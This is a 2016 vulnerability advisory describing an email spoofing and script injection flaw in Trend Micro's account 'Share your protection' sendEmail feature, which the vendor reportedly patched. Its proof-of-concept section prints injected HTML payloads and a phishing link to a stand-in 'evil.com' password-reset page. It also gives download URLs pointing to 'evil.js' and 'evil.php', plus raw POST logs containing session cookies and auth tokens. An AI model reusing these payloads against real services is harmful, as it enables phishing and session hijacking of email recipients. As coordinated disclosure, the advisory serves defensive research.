Trend Micro Email Spoofing

`Document Title:  
===============  
Trend Micro (Account) - Email Spoofing Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1693  
  
Trend Micro ID: 1-1-1035655030  
  
  
Release Date:  
=============  
2016-04-25  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1693  
  
  
Common Vulnerability Scoring System:  
====================================  
4.6  
  
  
Product & Service Introduction:  
===============================  
Trend Micro Inc. is a global security software company founded in Los Angeles, California with global headquarters in Tokyo, Japan, and regional   
headquarters in Asia, Europe and the Americas. The company develops security software for servers, cloud computing environments, and small business.   
Its cloud and virtualization security products provide cloud security for customers of VMware, Amazon AWS, Microsoft Azure and vCloud Air. Eva Chen   
serves as Trend Micro’s chief executive officer, a position she has held since 2005 when she succeeded founding CEO Steve Chang. Chang serves as   
chairman of Trend Micro.  
  
(Copy of the Homepage: https://en.wikipedia.org/wiki/Trend_Micro )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered an application-side vulnerability in the official Trend Micro Accounts online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-01-28: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)  
2016-01-29: Vendor Notification (Trend Micro Security Team)  
2016-02-02: Vendor Response/Feedback (Trend Micro Security Team)  
2016-04-24: Vendor Fix/Patch (Trend Micro Developer Team)  
2016-04-25: Security Acknowledgements (Trend Micro Security Team)  
2016-04-25: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Trend Micro  
Product: Account System - (Web-Application) 2016 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistant email spoofing web vulnerability has been discovered in the official Trendmirco online-service web-application.  
The vulnerability allows an remote attacker to send spoofed emails with injected malicious script codes or changed content.  
  
The persistent vulnerability is located in the `Share your protection` email function. It allows users to promote a product to friends or family.  
Remote attackers are able to inject own malicious script codes to the `download url` & `message` values of the `sendEmail` POST method request.  
The request method to inject is POST and the attack vector of the vulnerability is located on the application-side of the service. Remote attackers   
are able to manipulate the download url source and the message body context. The execution occurs in the email that arrives to the target inbox,  
when preparing to share.  
  
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.6.   
Exploitation of the application-side web vulnerability requires a low privileged web-application user account and low or medium user interaction.   
Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external redirect to malicious   
sources and application-side manipulation of affected or connected software module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] /my_account/product/  
  
Vulnerable File(s):  
[+] sendEmail  
  
Vulnerable Parameter(s):  
[+] downloadURL  
[+] message  
  
Affected Service(s):  
[+] account.trendmicro.com  
  
  
Proof of Concept (PoC):  
=======================  
The email spoofing and validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
PoC:1 (Message Body Context)  
<table style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; width: 100%; margin: 0; padding: 0;"><tbody>  
<tr style="font-family: 'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; margin: 0; padding: 0;"><td style="font-family:   
'Helvetica Neue', 'Helvetica', Helvetica, Arial, sans-serif; font-size: 14px; margin: 0; padding: 10px 10px   
30px 40px;"><pre>"><"<[MALICIOUS INJECTED SCRIPT CODE VULNERABILITY!]></pre></td>  
</tr></table>  
  
  
PoC:2 (Download Link)  
<a href="http://www.vulnerability-lab.com/evil.js" target="_blank" style="color:#FFFFFF; text-decoration:none;">Jetzt herunterladen</a>  
  
  
--- PoC Session Logs [POST] ---  
Status: 200[OK]  
POST https://account.trendmicro.com/my_account/product/sendEmail   
Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Content Size[93] Mime Type[application/json]  
Request Headers:  
Host[account.trendmicro.com]  
User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:43.0) Gecko/20100101 Firefox/43.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Requested-With[XMLHttpRequest]  
Referer[https://account.trendmicro.com/my_account/product]  
Content-Length[375]  
Cookie[  
Connection[keep-alive]  
Post Data:  
fEmail[samir%40evolution-sec.com]  
message[%3Ch1%3ETested+by+Samir%3C%2Fh1%3E%0D%0AHi%0D%0Afor+you+can+reset+your+password+%3Ca++href%3D%22http%3A%2F%2Fevil.com%22%3EClick+here%3C%2Fa%3E]  
serialNumber[]  
productName[Trend+Micro+Password+Manager]  
downloadURL[http%3A%2F%2Fgr.trendmicro.com%2FGREntry%2FNonPayment%3FTARGET%3DMyAccount%26PID%3DID10%26FUNID%3DDownload%26LOCALE%3DEN-US]  
Response Headers:  
Date[Thu, 28 Jan 2016 15:46:51 GMT]  
Server[Apache]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
X-Frame-Options[SAMEORIGIN]  
Content-Length[93]  
Connection[close]  
Content-Type[application/json]  
-  
Status: 200[OK]  
POST https://account.trendmicro.com/my_account/product/sendEmail   
Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[93] Mime Type[application/json]  
Request Header:  
Host[account.trendmicro.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Requested-With[XMLHttpRequest]  
Referer[https://account.trendmicro.com/my_account/product/]  
Content-Length[409]  
Cookie[ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22639e9aaca389e3937ad0a97e65e21093%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%2284.128.253.174%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows+NT+6.3%3B+WOW64%3B+rv%3A43.0%29+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1454066434%3B%7D7c9aa0f33d17d7bdb9e7a1f5a7e17fca; SimpleSAMLSessionID=0feba51c20d2d59b8647d9d7909c2457; mbox=session#1454066430954-829131#1454068291; utag_main=v_id:01528d1cf445002011c3584df91008048017400d00bd0$_sn:1$_ss:1$_pn:1%3Bexp-session$_st:1454068239733$ses_id:1454066431045%3Bexp-session$dc_visit:1$dc_event:3%3Bexp-session$dc_region:eu-west-1%3Bexp-session; s_fid=69EBCB381B32F47E-3E523954A7C4D7A0; s_cc=true; s_sq=trndmcrjptrendmicrojpprd%3D%2526pid%253Daccount.trendmicro.com%25252Fmy_account%25252Fproduct%25252F%2526pidt%253D1%2526oid%253DSenden%2526oidt%253D3%2526ot%253DSUBMIT; SimpleSAMLAuthToken=_d0c8b30c12d50d03a598d0c967dcf0bba7dcd33fee]  
Connection[keep-alive]  
POST-Daten:  
fEmail[bkm%40evolution-sec.com]  
message[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]  
serialNumber[]  
productName[Trend+Micro+Password+Manager]  
downloadURL[http%3A%2F%2Fgr.trendmicro.com%2FGREntry%2FNonPayment%3FTARGET%3DMyAccount%26PID%3DID10%26FUNID%3DDownload%26LOCALE%3DDE-DE]  
Response Header:  
Date[Fri, 29 Jan 2016 11:24:15 GMT]  
Server[Apache]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
X-Frame-Options[SAMEORIGIN]  
Content-Length[93]  
Connection[close]  
Content-Type[application/json]  
-  
Status: 200[OK]  
POST https://account.trendmicro.com/my_account/product/sendEmail   
Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[46] Mime Type[text/html]  
Request Header:  
Host[account.trendmicro.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Requested-With[XMLHttpRequest]  
Referer[https://account.trendmicro.com/my_account/product/]  
Content-Length[207]  
Cookie[ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22639e9aaca389e3937ad0a97e65e21093%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%2284.128.253.174%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows+NT+6.3%3B+WOW64%3B+rv%3A43.0%29+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1454066434%3B%7D7c9aa0f33d17d7bdb9e7a1f5a7e17fca; SimpleSAMLSessionID=0feba51c20d2d59b8647d9d7909c2457; mbox=session#1454066430954-829131#1454068291; utag_main=v_id:01528d1cf445002011c3584df91008048017400d00bd0$_sn:1$_ss:1$_pn:1%3Bexp-session$_st:1454068239733$ses_id:1454066431045%3Bexp-session$dc_visit:1$dc_event:3%3Bexp-session$dc_region:eu-west-1%3Bexp-session; s_fid=69EBCB381B32F47E-3E523954A7C4D7A0; s_cc=true; s_sq=trndmcrjptrendmicrojpprd%3D%2526pid%253Daccount.trendmicro.com%25252Fmy_account%25252Fproduct%25252F%2526pidt%253D1%2526oid%253DSenden%2526oidt%253D3%2526ot%253DSUBMIT; SimpleSAMLAuthToken=_d0c8b30c12d50d03a598d0c967dcf0bba7dcd33fee]  
Connection[keep-alive]  
POST-Daten:  
POST_DATA[fEmail=bkm%40evolution-sec.com&message=das+hier+ist+ein+trend+micro+sicherheitstest+by+hadji+samir&serialNumber=&productName=Trend+Micro+Password+Manager&downloadURL=http://www.vulnerability-lab.com/evil.php]  
Response Header:  
Date[Fri, 29 Jan 2016 11:28:02 GMT]  
Server[Apache]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
X-Frame-Options[SAMEORIGIN]  
Content-Length[46]  
Connection[close]  
Content-Type[text/html; charset=UTF-8]  
  
  
Reference(s):  
https://account.trendmicro.com  
https://account.trendmicro.com/my_account/  
https://account.trendmicro.com/my_account/product/  
https://account.trendmicro.com/my_account/product/sendEmail  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerable download url and message values in the sendEmail POST method request.  
Restrict the input and disallow special chars to prevent an application-side inject  
  
  
Security Risk:  
==============  
The security risk of the email spoofing web vulnerability in the official trend micro accounts web-application is estimated as medium. (CVSS 4.6)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] – Hadji Samir [Evolution Security GmbH] [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]  
  
  
Disclaimer & Information:  
=========================  
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`